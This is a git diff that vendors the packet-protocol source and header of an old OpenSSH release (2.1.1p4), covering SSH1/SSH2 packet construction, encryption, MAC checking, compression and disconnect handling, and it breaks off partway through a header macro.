+void +packet_close() +{ + if (!initialized) + return; + initialized = 0; + if (connection_in == connection_out) { + shutdown(connection_out, SHUT_RDWR); + close(connection_out); + } else { + close(connection_in); + close(connection_out); + } + buffer_free(&input); + buffer_free(&output); + buffer_free(&outgoing_packet); + buffer_free(&incoming_packet); + if (packet_compression) { + buffer_free(&compression_buffer); + buffer_compress_uninit(); + } +} + +/* Sets remote side protocol flags. */ + +void +packet_set_protocol_flags(unsigned int protocol_flags) +{ + remote_protocol_flags = protocol_flags; + channel_set_options((protocol_flags & SSH_PROTOFLAG_HOST_IN_FWD_OPEN) != 0); +} + +/* Returns the remote protocol flags set earlier by the above function. */ + +unsigned int +packet_get_protocol_flags() +{ + return remote_protocol_flags; +} + +/* + * Starts packet compression from the next packet on in both directions. + * Level is compression level 1 (fastest) - 9 (slow, best) as in gzip. + */ + +/*** XXXXX todo: kex means re-init */ +void +packet_start_compression(int level) +{ + if (packet_compression) + fatal("Compression already enabled."); + packet_compression = 1; + buffer_init(&compression_buffer); + buffer_compress_init(level); +} + +/* + * Encrypts the given number of bytes, copying from src to dest. bytes is + * known to be a multiple of 8. + */ + +void +packet_encrypt(CipherContext * cc, void *dest, void *src, + unsigned int bytes) +{ + cipher_encrypt(cc, dest, src, bytes); +} + +/* + * Decrypts the given number of bytes, copying from src to dest. bytes is + * known to be a multiple of 8. + */ + +void +packet_decrypt(CipherContext * cc, void *dest, void *src, + unsigned int bytes) +{ + int i; + + if ((bytes % 8) != 0) + fatal("packet_decrypt: bad ciphertext length %d", bytes); + + /* + * Cryptographic attack detector for ssh - Modifications for packet.c + * (C)1998 CORE-SDI, Buenos Aires Argentina Ariel Futoransky(futo@core-sdi.com) + */ + + if (cc->type == SSH_CIPHER_NONE || compat20) { + i = DEATTACK_OK; + } else { + i = detect_attack(src, bytes, NULL); + } + if (i == DEATTACK_DETECTED) + packet_disconnect("crc32 compensation attack: network attack detected"); + + cipher_decrypt(cc, dest, src, bytes); +} + +/* + * Causes any further packets to be encrypted using the given key. The same + * key is used for both sending and reception. However, both directions are + * encrypted independently of each other. + */ + +void +packet_set_encryption_key(const unsigned char *key, unsigned int keylen, + int cipher) +{ + if (keylen < 20) + fatal("keylen too small: %d", keylen); + + /* All other ciphers use the same key in both directions for now. */ + cipher_set_key(&receive_context, cipher, key, keylen); + cipher_set_key(&send_context, cipher, key, keylen); +} + +/* Starts constructing a packet to send. */ + +void +packet_start1(int type) +{ + char buf[9]; + + buffer_clear(&outgoing_packet); + memset(buf, 0, 8); + buf[8] = type; + buffer_append(&outgoing_packet, buf, 9); +} + +void +packet_start2(int type) +{ + char buf[4+1+1]; + + buffer_clear(&outgoing_packet); + memset(buf, 0, sizeof buf); + /* buf[0..3] = payload_len; */ + /* buf[4] = pad_len; */ + buf[5] = type & 0xff; + buffer_append(&outgoing_packet, buf, sizeof buf); +} + +void +packet_start(int type) +{ + DBG(debug("packet_start[%d]",type)); + if (use_ssh2_packet_format) + packet_start2(type); + else + packet_start1(type); +} + +/* Appends a character to the packet data. */ + +void +packet_put_char(int value) +{ + char ch = value; + buffer_append(&outgoing_packet, &ch, 1); +} + +/* Appends an integer to the packet data. */ + +void +packet_put_int(unsigned int value) +{ + buffer_put_int(&outgoing_packet, value); +} + +/* Appends a string to packet data. */ + +void +packet_put_string(const char *buf, unsigned int len) +{ + buffer_put_string(&outgoing_packet, buf, len); +} +void +packet_put_cstring(const char *str) +{ + buffer_put_string(&outgoing_packet, str, strlen(str)); +} + +void +packet_put_raw(const char *buf, unsigned int len) +{ + buffer_append(&outgoing_packet, buf, len); +} + + +/* Appends an arbitrary precision integer to packet data. */ + +void +packet_put_bignum(BIGNUM * value) +{ + buffer_put_bignum(&outgoing_packet, value); +} +void +packet_put_bignum2(BIGNUM * value) +{ + buffer_put_bignum2(&outgoing_packet, value); +} + +/* + * Finalizes and sends the packet. If the encryption key has been set, + * encrypts the packet before sending. + */ + +void +packet_send1() +{ + char buf[8], *cp; + int i, padding, len; + unsigned int checksum; + u_int32_t rand = 0; + + /* + * If using packet compression, compress the payload of the outgoing + * packet. + */ + if (packet_compression) { + buffer_clear(&compression_buffer); + /* Skip padding. */ + buffer_consume(&outgoing_packet, 8); + /* padding */ + buffer_append(&compression_buffer, "\0\0\0\0\0\0\0\0", 8); + buffer_compress(&outgoing_packet, &compression_buffer); + buffer_clear(&outgoing_packet); + buffer_append(&outgoing_packet, buffer_ptr(&compression_buffer), + buffer_len(&compression_buffer)); + } + /* Compute packet length without padding (add checksum, remove padding). */ + len = buffer_len(&outgoing_packet) + 4 - 8; + + /* Insert padding. Initialized to zero in packet_start1() */ + padding = 8 - len % 8; + if (cipher_type != SSH_CIPHER_NONE) { + cp = buffer_ptr(&outgoing_packet); + for (i = 0; i < padding; i++) { + if (i % 4 == 0) + rand = arc4random(); + cp[7 - i] = rand & 0xff; + rand >>= 8; + } + } + buffer_consume(&outgoing_packet, 8 - padding); + + /* Add check bytes. */ + checksum = crc32((unsigned char *) buffer_ptr(&outgoing_packet), + buffer_len(&outgoing_packet)); + PUT_32BIT(buf, checksum); + buffer_append(&outgoing_packet, buf, 4); + +#ifdef PACKET_DEBUG + fprintf(stderr, "packet_send plain: "); + buffer_dump(&outgoing_packet); +#endif + + /* Append to output. */ + PUT_32BIT(buf, len); + buffer_append(&output, buf, 4); + buffer_append_space(&output, &cp, buffer_len(&outgoing_packet)); + packet_encrypt(&send_context, cp, buffer_ptr(&outgoing_packet), + buffer_len(&outgoing_packet)); + +#ifdef PACKET_DEBUG + fprintf(stderr, "encrypted: "); + buffer_dump(&output); +#endif + + buffer_clear(&outgoing_packet); + + /* + * Note that the packet is now only buffered in output. It won\'t be + * actually sent until packet_write_wait or packet_write_poll is + * called. + */ +} + +/* + * Finalize packet in SSH2 format (compress, mac, encrypt, enqueue) + */ +void +packet_send2() +{ + unsigned char *macbuf = NULL; + char *cp; + unsigned int packet_length = 0; + unsigned int i, padlen, len; + u_int32_t rand = 0; + static unsigned int seqnr = 0; + int type; + Enc *enc = NULL; + Mac *mac = NULL; + Comp *comp = NULL; + int block_size; + + if (kex != NULL) { + enc = &kex->enc[MODE_OUT]; + mac = &kex->mac[MODE_OUT]; + comp = &kex->comp[MODE_OUT]; + } + block_size = enc ? enc->block_size : 8; + + cp = buffer_ptr(&outgoing_packet); + type = cp[5] & 0xff; + +#ifdef PACKET_DEBUG + fprintf(stderr, "plain: "); + buffer_dump(&outgoing_packet); +#endif + + if (comp && comp->enabled) { + len = buffer_len(&outgoing_packet); + /* skip header, compress only payload */ + buffer_consume(&outgoing_packet, 5); + buffer_clear(&compression_buffer); + buffer_compress(&outgoing_packet, &compression_buffer); + buffer_clear(&outgoing_packet); + buffer_append(&outgoing_packet, "\0\0\0\0\0", 5); + buffer_append(&outgoing_packet, buffer_ptr(&compression_buffer), + buffer_len(&compression_buffer)); + DBG(debug("compression: raw %d compressed %d", len, + buffer_len(&outgoing_packet))); + } + + /* sizeof (packet_len + pad_len + payload) */ + len = buffer_len(&outgoing_packet); + + /* + * calc size of padding, alloc space, get random data, + * minimum padding is 4 bytes + */ + padlen = block_size - (len % block_size); + if (padlen < 4) + padlen += block_size; + buffer_append_space(&outgoing_packet, &cp, padlen); + if (enc && enc->type != SSH_CIPHER_NONE) { + /* random padding */ + for (i = 0; i < padlen; i++) { + if (i % 4 == 0) + rand = arc4random(); + cp[i] = rand & 0xff; + rand <<= 8; + } + } else { + /* clear padding */ + memset(cp, 0, padlen); + } + /* packet_length includes payload, padding and padding length field */ + packet_length = buffer_len(&outgoing_packet) - 4; + cp = buffer_ptr(&outgoing_packet); + PUT_32BIT(cp, packet_length); + cp[4] = padlen & 0xff; + DBG(debug("send: len %d (includes padlen %d)", packet_length+4, padlen)); + + /* compute MAC over seqnr and packet(length fields, payload, padding) */ + if (mac && mac->enabled) { + macbuf = hmac( mac->md, seqnr, + (unsigned char *) buffer_ptr(&outgoing_packet), + buffer_len(&outgoing_packet), + mac->key, mac->key_len + ); + DBG(debug("done calc HMAC out #%d", seqnr)); + } + /* encrypt packet and append to output buffer. */ + buffer_append_space(&output, &cp, buffer_len(&outgoing_packet)); + packet_encrypt(&send_context, cp, buffer_ptr(&outgoing_packet), + buffer_len(&outgoing_packet)); + /* append unencrypted MAC */ + if (mac && mac->enabled) + buffer_append(&output, (char *)macbuf, mac->mac_len); +#ifdef PACKET_DEBUG + fprintf(stderr, "encrypted: "); + buffer_dump(&output); +#endif + /* increment sequence number for outgoing packets */ + if (++seqnr == 0) + log("outgoing seqnr wraps around"); + buffer_clear(&outgoing_packet); + + if (type == SSH2_MSG_NEWKEYS) { + if (kex==NULL || mac==NULL || enc==NULL || comp==NULL) + fatal("packet_send2: no KEX"); + if (mac->md != NULL) + mac->enabled = 1; + DBG(debug("cipher_set_key_iv send_context")); + cipher_set_key_iv(&send_context, enc->type, + enc->key, enc->key_len, + enc->iv, enc->iv_len); + clear_enc_keys(enc, kex->we_need); + if (comp->type != 0 && comp->enabled == 0) { + comp->enabled = 1; + if (! packet_compression) + packet_start_compression(6); + } + } +} + +void +packet_send() +{ + if (use_ssh2_packet_format) + packet_send2(); + else + packet_send1(); + DBG(debug("packet_send done")); +} + +/* + * Waits until a packet has been received, and returns its type. Note that + * no other data is processed until this returns, so this function should not + * be used during the interactive session. + */ + +int +packet_read(int *payload_len_ptr) +{ + int type, len; + fd_set set; + char buf[8192]; + DBG(debug("packet_read()")); + + /* Since we are blocking, ensure that all written packets have been sent. */ + packet_write_wait(); + + /* Stay in the loop until we have received a complete packet. */ + for (;;) { + /* Try to read a packet from the buffer. */ + type = packet_read_poll(payload_len_ptr); + if (!use_ssh2_packet_format && ( + type == SSH_SMSG_SUCCESS + || type == SSH_SMSG_FAILURE + || type == SSH_CMSG_EOF + || type == SSH_CMSG_EXIT_CONFIRMATION)) + packet_integrity_check(*payload_len_ptr, 0, type); + /* If we got a packet, return it. */ + if (type != SSH_MSG_NONE) + return type; + /* + * Otherwise, wait for some data to arrive, add it to the + * buffer, and try again. + */ + FD_ZERO(&set); + FD_SET(connection_in, &set); + + /* Wait for some data to arrive. */ + select(connection_in + 1, &set, NULL, NULL, NULL); + + /* Read data from the socket. */ + len = read(connection_in, buf, sizeof(buf)); + if (len == 0) { + log("Connection closed by %.200s", get_remote_ipaddr()); + fatal_cleanup(); + } + if (len < 0) + fatal("Read from socket failed: %.100s", strerror(errno)); + /* Append it to the buffer. */ + packet_process_incoming(buf, len); + } + /* NOTREACHED */ +} + +/* + * Waits until a packet has been received, verifies that its type matches + * that given, and gives a fatal error and exits if there is a mismatch. + */ + +void +packet_read_expect(int *payload_len_ptr, int expected_type) +{ + int type; + + type = packet_read(payload_len_ptr); + if (type != expected_type) + packet_disconnect("Protocol error: expected packet type %d, got %d", + expected_type, type); +} + +/* Checks if a full packet is available in the data received so far via + * packet_process_incoming. If so, reads the packet; otherwise returns + * SSH_MSG_NONE. This does not wait for data from the connection. + * + * SSH_MSG_DISCONNECT is handled specially here. Also, + * SSH_MSG_IGNORE messages are skipped by this function and are never returned + * to higher levels. + * + * The returned payload_len does include space consumed by: + * Packet length + * Padding + * Packet type + * Check bytes + */ + +int +packet_read_poll1(int *payload_len_ptr) +{ + unsigned int len, padded_len; + unsigned char *ucp; + char buf[8], *cp; + unsigned int checksum, stored_checksum; + + /* Check if input size is less than minimum packet size. */ + if (buffer_len(&input) < 4 + 8) + return SSH_MSG_NONE; + /* Get length of incoming packet. */ + ucp = (unsigned char *) buffer_ptr(&input); + len = GET_32BIT(ucp); + if (len < 1 + 2 + 2 || len > 256 * 1024) + packet_disconnect("Bad packet length %d.", len); + padded_len = (len + 8) & ~7; + + /* Check if the packet has been entirely received. */ + if (buffer_len(&input) < 4 + padded_len) + return SSH_MSG_NONE; + + /* The entire packet is in buffer. */ + + /* Consume packet length. */ + buffer_consume(&input, 4); + + /* Copy data to incoming_packet. */ + buffer_clear(&incoming_packet); + buffer_append_space(&incoming_packet, &cp, padded_len); + packet_decrypt(&receive_context, cp, buffer_ptr(&input), padded_len); + buffer_consume(&input, padded_len); + +#ifdef PACKET_DEBUG + fprintf(stderr, "read_poll plain: "); + buffer_dump(&incoming_packet); +#endif + + /* Compute packet checksum. */ + checksum = crc32((unsigned char *) buffer_ptr(&incoming_packet), + buffer_len(&incoming_packet) - 4); + + /* Skip padding. */ + buffer_consume(&incoming_packet, 8 - len % 8); + + /* Test check bytes. */ + + if (len != buffer_len(&incoming_packet)) + packet_disconnect("packet_read_poll: len %d != buffer_len %d.", + len, buffer_len(&incoming_packet)); + + ucp = (unsigned char *) buffer_ptr(&incoming_packet) + len - 4; + stored_checksum = GET_32BIT(ucp); + if (checksum != stored_checksum) + packet_disconnect("Corrupted check bytes on input."); + buffer_consume_end(&incoming_packet, 4); + + /* If using packet compression, decompress the packet. */ + if (packet_compression) { + buffer_clear(&compression_buffer); + buffer_uncompress(&incoming_packet, &compression_buffer); + buffer_clear(&incoming_packet); + buffer_append(&incoming_packet, buffer_ptr(&compression_buffer), + buffer_len(&compression_buffer)); + } + /* Get packet type. */ + buffer_get(&incoming_packet, &buf[0], 1); + + /* Return length of payload (without type field). */ + *payload_len_ptr = buffer_len(&incoming_packet); + + /* Return type. */ + return (unsigned char) buf[0]; +} + +int +packet_read_poll2(int *payload_len_ptr) +{ + unsigned int padlen, need; + unsigned char buf[8], *macbuf; + unsigned char *ucp; + char *cp; + static unsigned int packet_length = 0; + static unsigned int seqnr = 0; + int type; + int maclen, block_size; + Enc *enc = NULL; + Mac *mac = NULL; + Comp *comp = NULL; + + if (kex != NULL) { + enc = &kex->enc[MODE_IN]; + mac = &kex->mac[MODE_IN]; + comp = &kex->comp[MODE_IN]; + } + maclen = mac && mac->enabled ? mac->mac_len : 0; + block_size = enc ? enc->block_size : 8; + + if (packet_length == 0) { + /* + * check if input size is less than the cipher block size, + * decrypt first block and extract length of incoming packet + */ + if (buffer_len(&input) < block_size) + return SSH_MSG_NONE; + buffer_clear(&incoming_packet); + buffer_append_space(&incoming_packet, &cp, block_size); + packet_decrypt(&receive_context, cp, buffer_ptr(&input), + block_size); + ucp = (unsigned char *) buffer_ptr(&incoming_packet); + packet_length = GET_32BIT(ucp); + if (packet_length < 1 + 4 || packet_length > 256 * 1024) { + buffer_dump(&incoming_packet); + packet_disconnect("Bad packet length %d.", packet_length); + } + DBG(debug("input: packet len %d", packet_length+4)); + buffer_consume(&input, block_size); + } + /* we have a partial packet of block_size bytes */ + need = 4 + packet_length - block_size; + DBG(debug("partial packet %d, need %d, maclen %d", block_size, + need, maclen)); + if (need % block_size != 0) + fatal("padding error: need %d block %d mod %d", + need, block_size, need % block_size); + /* + * check if the entire packet has been received and + * decrypt into incoming_packet + */ + if (buffer_len(&input) < need + maclen) + return SSH_MSG_NONE; +#ifdef PACKET_DEBUG + fprintf(stderr, "read_poll enc/full: "); + buffer_dump(&input); +#endif + buffer_append_space(&incoming_packet, &cp, need); + packet_decrypt(&receive_context, cp, buffer_ptr(&input), need); + buffer_consume(&input, need); + /* + * compute MAC over seqnr and packet, + * increment sequence number for incoming packet + */ + if (mac && mac->enabled) { + macbuf = hmac( mac->md, seqnr, + (unsigned char *) buffer_ptr(&incoming_packet), + buffer_len(&incoming_packet), + mac->key, mac->key_len + ); + if (memcmp(macbuf, buffer_ptr(&input), mac->mac_len) != 0) + packet_disconnect("Corrupted HMAC on input."); + DBG(debug("HMAC #%d ok", seqnr)); + buffer_consume(&input, mac->mac_len); + } + if (++seqnr == 0) + log("incoming seqnr wraps around"); + + /* get padlen */ + cp = buffer_ptr(&incoming_packet) + 4; + padlen = *cp & 0xff; + DBG(debug("input: padlen %d", padlen)); + if (padlen < 4) + packet_disconnect("Corrupted padlen %d on input.", padlen); + + /* skip packet size + padlen, discard padding */ + buffer_consume(&incoming_packet, 4 + 1); + buffer_consume_end(&incoming_packet, padlen); + + DBG(debug("input: len before de-compress %d", buffer_len(&incoming_packet))); + if (comp && comp->enabled) { + buffer_clear(&compression_buffer); + buffer_uncompress(&incoming_packet, &compression_buffer); + buffer_clear(&incoming_packet); + buffer_append(&incoming_packet, buffer_ptr(&compression_buffer), + buffer_len(&compression_buffer)); + DBG(debug("input: len after de-compress %d", buffer_len(&incoming_packet))); + } + /* + * get packet type, implies consume. + * return length of payload (without type field) + */ + buffer_get(&incoming_packet, (char *)&buf[0], 1); + *payload_len_ptr = buffer_len(&incoming_packet); + + /* reset for next packet */ + packet_length = 0; + + /* extract packet type */ + type = (unsigned char)buf[0]; + + if (type == SSH2_MSG_NEWKEYS) { + if (kex==NULL || mac==NULL || enc==NULL || comp==NULL) + fatal("packet_read_poll2: no KEX"); + if (mac->md != NULL) + mac->enabled = 1; + DBG(debug("cipher_set_key_iv receive_context")); + cipher_set_key_iv(&receive_context, enc->type, + enc->key, enc->key_len, + enc->iv, enc->iv_len); + clear_enc_keys(enc, kex->we_need); + if (comp->type != 0 && comp->enabled == 0) { + comp->enabled = 1; + if (! packet_compression) + packet_start_compression(6); + } + } + +#ifdef PACKET_DEBUG + fprintf(stderr, "read/plain[%d]:\r\n",type); + buffer_dump(&incoming_packet); +#endif + return (unsigned char)type; +} + +int +packet_read_poll(int *payload_len_ptr) +{ + char *msg; + for (;;) { + int type = use_ssh2_packet_format ? + packet_read_poll2(payload_len_ptr): + packet_read_poll1(payload_len_ptr); + + if(compat20) { + int reason; + if (type != 0) + DBG(debug("received packet type %d", type)); + switch(type) { + case SSH2_MSG_IGNORE: + break; + case SSH2_MSG_DEBUG: + packet_get_char(); + msg = packet_get_string(NULL); + debug("Remote: %.900s", msg); + xfree(msg); + msg = packet_get_string(NULL); + xfree(msg); + break; + case SSH2_MSG_DISCONNECT: + reason = packet_get_int(); + msg = packet_get_string(NULL); + log("Received disconnect: %d: %.900s", reason, msg); + xfree(msg); + fatal_cleanup(); + break; + default: + return type; + break; + } + } else { + switch(type) { + case SSH_MSG_IGNORE: + break; + case SSH_MSG_DEBUG: + msg = packet_get_string(NULL); + debug("Remote: %.900s", msg); + xfree(msg); + break; + case SSH_MSG_DISCONNECT: + msg = packet_get_string(NULL); + log("Received disconnect: %.900s", msg); + fatal_cleanup(); + xfree(msg); + break; + default: + if (type != 0) + DBG(debug("received packet type %d", type)); + return type; + break; + } + } + } +} + +/* + * Buffers the given amount of input characters. This is intended to be used + * together with packet_read_poll. + */ + +void +packet_process_incoming(const char *buf, unsigned int len) +{ + buffer_append(&input, buf, len); +} + +/* Returns a character from the packet. */ + +unsigned int +packet_get_char() +{ + char ch; + buffer_get(&incoming_packet, &ch, 1); + return (unsigned char) ch; +} + +/* Returns an integer from the packet data. */ + +unsigned int +packet_get_int() +{ + return buffer_get_int(&incoming_packet); +} + +/* + * Returns an arbitrary precision integer from the packet data. The integer + * must have been initialized before this call. + */ + +void +packet_get_bignum(BIGNUM * value, int *length_ptr) +{ + *length_ptr = buffer_get_bignum(&incoming_packet, value); +} + +void +packet_get_bignum2(BIGNUM * value, int *length_ptr) +{ + *length_ptr = buffer_get_bignum2(&incoming_packet, value); +} + +char * +packet_get_raw(int *length_ptr) +{ + int bytes = buffer_len(&incoming_packet); + if (length_ptr != NULL) + *length_ptr = bytes; + return buffer_ptr(&incoming_packet); +} + +int +packet_remaining(void) +{ + return buffer_len(&incoming_packet); +} + +/* + * Returns a string from the packet data. The string is allocated using + * xmalloc; it is the responsibility of the calling program to free it when + * no longer needed. The length_ptr argument may be NULL, or point to an + * integer into which the length of the string is stored. + */ + +char * +packet_get_string(unsigned int *length_ptr) +{ + return buffer_get_string(&incoming_packet, length_ptr); +} + +/* + * Sends a diagnostic message from the server to the client. This message + * can be sent at any time (but not while constructing another message). The + * message is printed immediately, but only if the client is being executed + * in verbose mode. These messages are primarily intended to ease debugging + * authentication problems. The length of the formatted message must not + * exceed 1024 bytes. This will automatically call packet_write_wait. + */ + +void +packet_send_debug(const char *fmt,...) +{ + char buf[1024]; + va_list args; + + va_start(args, fmt); + vsnprintf(buf, sizeof(buf), fmt, args); + va_end(args); + + if (compat20) { + packet_start(SSH2_MSG_DEBUG); + packet_put_char(0); /* bool: always display */ + packet_put_cstring(buf); + packet_put_cstring(""); + } else { + packet_start(SSH_MSG_DEBUG); + packet_put_cstring(buf); + } + packet_send(); + packet_write_wait(); +} + +/* + * Logs the error plus constructs and sends a disconnect packet, closes the + * connection, and exits. This function never returns. The error message + * should not contain a newline. The length of the formatted message must + * not exceed 1024 bytes. + */ + +void +packet_disconnect(const char *fmt,...) +{ + char buf[1024]; + va_list args; + static int disconnecting = 0; + if (disconnecting) /* Guard against recursive invocations. */ + fatal("packet_disconnect called recursively."); + disconnecting = 1; + + /* + * Format the message. Note that the caller must make sure the + * message is of limited size. + */ + va_start(args, fmt); + vsnprintf(buf, sizeof(buf), fmt, args); + va_end(args); + + /* Send the disconnect message to the other side, and wait for it to get sent. */ + if (compat20) { + packet_start(SSH2_MSG_DISCONNECT); + packet_put_int(SSH2_DISCONNECT_PROTOCOL_ERROR); + packet_put_cstring(buf); + packet_put_cstring(""); + } else { + packet_start(SSH_MSG_DISCONNECT); + packet_put_string(buf, strlen(buf)); + } + packet_send(); + packet_write_wait(); + + /* Stop listening for connections. */ + channel_stop_listening(); + + /* Close the connection. */ + packet_close(); + + /* Display the error locally and exit. */ + log("Disconnecting: %.100s", buf); + fatal_cleanup(); +} + +/* Checks if there is any buffered output, and tries to write some of the output. */ + +void +packet_write_poll() +{ + int len = buffer_len(&output); + if (len > 0) { + len = write(connection_out, buffer_ptr(&output), len); + if (len <= 0) { + if (errno == EAGAIN) + return; + else + fatal("Write failed: %.100s", strerror(errno)); + } + buffer_consume(&output, len); + } +} + +/* + * Calls packet_write_poll repeatedly until all pending output data has been + * written. + */ + +void +packet_write_wait() +{ + packet_write_poll(); + while (packet_have_data_to_write()) { + fd_set set; + FD_ZERO(&set); + FD_SET(connection_out, &set); + select(connection_out + 1, NULL, &set, NULL, NULL); + packet_write_poll(); + } +} + +/* Returns true if there is buffered data to write to the connection. */ + +int +packet_have_data_to_write() +{ + return buffer_len(&output) != 0; +} + +/* Returns true if there is not too much data to write to the connection. */ + +int +packet_not_very_much_data_to_write() +{ + if (interactive_mode) + return buffer_len(&output) < 16384; + else + return buffer_len(&output) < 128 * 1024; +} + +/* Informs that the current session is interactive. Sets IP flags for that. */ + +void +packet_set_interactive(int interactive, int keepalives) +{ + int on = 1; + + /* Record that we are in interactive mode. */ + interactive_mode = interactive; + + /* Only set socket options if using a socket. */ + if (!packet_connection_is_on_socket()) + return; + if (keepalives) { + /* Set keepalives if requested. */ + if (setsockopt(connection_in, SOL_SOCKET, SO_KEEPALIVE, (void *) &on, + sizeof(on)) < 0) + error("setsockopt SO_KEEPALIVE: %.100s", strerror(errno)); + } + /* + * IPTOS_LOWDELAY, TCP_NODELAY and IPTOS_THROUGHPUT are IPv4 only + */ + if (!packet_connection_is_ipv4()) + return; + if (interactive) { + /* + * Set IP options for an interactive connection. Use + * IPTOS_LOWDELAY and TCP_NODELAY. + */ +#if defined(IP_TOS) && !defined(IP_TOS_IS_BROKEN) + int lowdelay = IPTOS_LOWDELAY; + if (setsockopt(connection_in, IPPROTO_IP, IP_TOS, (void *) &lowdelay, + sizeof(lowdelay)) < 0) + error("setsockopt IPTOS_LOWDELAY: %.100s", strerror(errno)); +#endif + if (setsockopt(connection_in, IPPROTO_TCP, TCP_NODELAY, (void *) &on, + sizeof(on)) < 0) + error("setsockopt TCP_NODELAY: %.100s", strerror(errno)); + } else { + /* + * Set IP options for a non-interactive connection. Use + * IPTOS_THROUGHPUT. + */ +#if defined(IP_TOS) && !defined(IP_TOS_IS_BROKEN) + int throughput = IPTOS_THROUGHPUT; + if (setsockopt(connection_in, IPPROTO_IP, IP_TOS, (void *) &throughput, + sizeof(throughput)) < 0) + error("setsockopt IPTOS_THROUGHPUT: %.100s", strerror(errno)); +#endif + } +} + +/* Returns true if the current connection is interactive. */ + +int +packet_is_interactive() +{ + return interactive_mode; +} + +int +packet_set_maxsize(int s) +{ + static int called = 0; + if (called) { + log("packet_set_maxsize: called twice: old %d new %d", + max_packet_size, s); + return -1; + } + if (s < 4 * 1024 || s > 1024 * 1024) { + log("packet_set_maxsize: bad size %d", s); + return -1; + } + log("packet_set_maxsize: setting to %d", s); + max_packet_size = s; + return s; +} diff --git a/other/openssh-2.1.1p4/packet.h b/other/openssh-2.1.1p4/packet.h new file mode 100644 index 0000000..015d9ec --- /dev/null +++ b/other/openssh-2.1.1p4/packet.h @@ -0,0 +1,219 @@ +/* + * + * packet.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Sat Mar 18 02:02:14 1995 ylo + * + * Interface for the packet protocol functions. + * + */ + +/* RCSID("$OpenBSD: packet.h,v 1.16 2000/06/20 01:39:43 markus Exp $"); */ + +#ifndef PACKET_H +#define PACKET_H + +#include + +/* + * Sets the socket used for communication. Disables encryption until + * packet_set_encryption_key is called. It is permissible that fd_in and + * fd_out are the same descriptor; in that case it is assumed to be a socket. + */ +void packet_set_connection(int fd_in, int fd_out); + +/* Puts the connection file descriptors into non-blocking mode. */ +void packet_set_nonblocking(void); + +/* Returns the file descriptor used for input. */ +int packet_get_connection_in(void); + +/* Returns the file descriptor used for output. */ +int packet_get_connection_out(void); + +/* + * Closes the connection (both descriptors) and clears and frees internal + * data structures. + */ +void packet_close(void); + +/* + * Causes any further packets to be encrypted using the given key. The same + * key is used for both sending and reception. However, both directions are + * encrypted independently of each other. Cipher types are defined in ssh.h. + */ +void +packet_set_encryption_key(const unsigned char *key, unsigned int keylen, + int cipher_type); + +/* + * Sets remote side protocol flags for the current connection. This can be + * called at any time. + */ +void packet_set_protocol_flags(unsigned int flags); + +/* Returns the remote protocol flags set earlier by the above function. */ +unsigned int packet_get_protocol_flags(void); + +/* Enables compression in both directions starting from the next packet. */ +void packet_start_compression(int level); + +/* + * Informs that the current session is interactive. Sets IP flags for + * optimal performance in interactive use. + */ +void packet_set_interactive(int interactive, int keepalives); + +/* Returns true if the current connection is interactive. */ +int packet_is_interactive(void); + +/* Starts constructing a packet to send. */ +void packet_start(int type); + +/* Appends a character to the packet data. */ +void packet_put_char(int ch); + +/* Appends an integer to the packet data. */ +void packet_put_int(unsigned int value); + +/* Appends an arbitrary precision integer to packet data. */ +void packet_put_bignum(BIGNUM * value); +void packet_put_bignum2(BIGNUM * value); + +/* Appends a string to packet data. */ +void packet_put_string(const char *buf, unsigned int len); +void packet_put_cstring(const char *str); +void packet_put_raw(const char *buf, unsigned int len); + +/* + * Finalizes and sends the packet. If the encryption key has been set, + * encrypts the packet before sending. + */ +void packet_send(void); + +/* Waits until a packet has been received, and returns its type. */ +int packet_read(int *payload_len_ptr); + +/* + * Waits until a packet has been received, verifies that its type matches + * that given, and gives a fatal error and exits if there is a mismatch. + */ +void packet_read_expect(int *payload_len_ptr, int type); + +/* + * Checks if a full packet is available in the data received so far via + * packet_process_incoming. If so, reads the packet; otherwise returns + * SSH_MSG_NONE. This does not wait for data from the connection. + * SSH_MSG_DISCONNECT is handled specially here. Also, SSH_MSG_IGNORE + * messages are skipped by this function and are never returned to higher + * levels. + */ +int packet_read_poll(int *packet_len_ptr); + +/* + * Buffers the given amount of input characters. This is intended to be used + * together with packet_read_poll. + */ +void packet_process_incoming(const char *buf, unsigned int len); + +/* Returns a character (0-255) from the packet data. */ +unsigned int packet_get_char(void); + +/* Returns an integer from the packet data. */ +unsigned int packet_get_int(void); + +/* + * Returns an arbitrary precision integer from the packet data. The integer + * must have been initialized before this call. + */ +void packet_get_bignum(BIGNUM * value, int *length_ptr); +void packet_get_bignum2(BIGNUM * value, int *length_ptr); +char *packet_get_raw(int *length_ptr); + +/* + * Returns a string from the packet data. The string is allocated using + * xmalloc; it is the responsibility of the calling program to free it when + * no longer needed. The length_ptr argument may be NULL, or point to an + * integer into which the length of the string is stored. + */ +char *packet_get_string(unsigned int *length_ptr); + +/* + * Logs the error in syslog using LOG_INFO, constructs and sends a disconnect + * packet, closes the connection, and exits. This function never returns. + * The error message should not contain a newline. The total length of the + * message must not exceed 1024 bytes. + */ +void packet_disconnect(const char *fmt,...) __attribute__((format(printf, 1, 2))); + +/* + * Sends a diagnostic message to the other side. This message can be sent at + * any time (but not while constructing another message). The message is + * printed immediately, but only if the client is being executed in verbose + * mode. These messages are primarily intended to ease debugging + * authentication problems. The total length of the message must not exceed + * 1024 bytes. This will automatically call packet_write_wait. If the + * remote side protocol flags do not indicate that it supports SSH_MSG_DEBUG, + * this will do nothing. + */ +void packet_send_debug(const char *fmt,...) __attribute__((format(printf, 1, 2))); + +/* Checks if there is any buffered output, and tries to write some of the output. */ +void packet_write_poll(void); + +/* Waits until all pending output data has been written. */ +void packet_write_wait(void); + +/* Returns true if there is buffered data to write to the connection. */ +int packet_have_data_to_write(void); + +/* Returns true if there is not too much data to write to the connection. */ +int packet_not_very_much_data_to_write(void); + +/* maximum packet size, requested by client with SSH_CMSG_MAX_PACKET_SIZE */ +extern int max_packet_size; +int packet_set_maxsize(int s); +#define packet_get_maxsize() max_packet_size + +/* Stores tty modes from the fd into current packet. */ +void tty_make_modes(int fd); + +/* Parses tty modes for the fd from the current packet. */ +void tty_parse_modes(int fd, int *n_bytes_ptr); + +#define packet_integrity_check(payload_len, expected_len, type) \ +do { \ + int _p = (payload_len), _e = (expected_len); \ + if (_p != _e) { \ + log("Packet integrity error (%d != %d) at %s:%d", \ + _p, _e, __FILE__, __LINE__); \ + packet_disconnect("Packet integrity error. (%d)", (type)); \ + } \ +} while (0) + +#define packet_done() \ +do { \ + int _len = packet_remaining(); \ + if (_len > 0) { \ + log("Packet integrity error (%d bytes remaining) at %s:%d", \ + 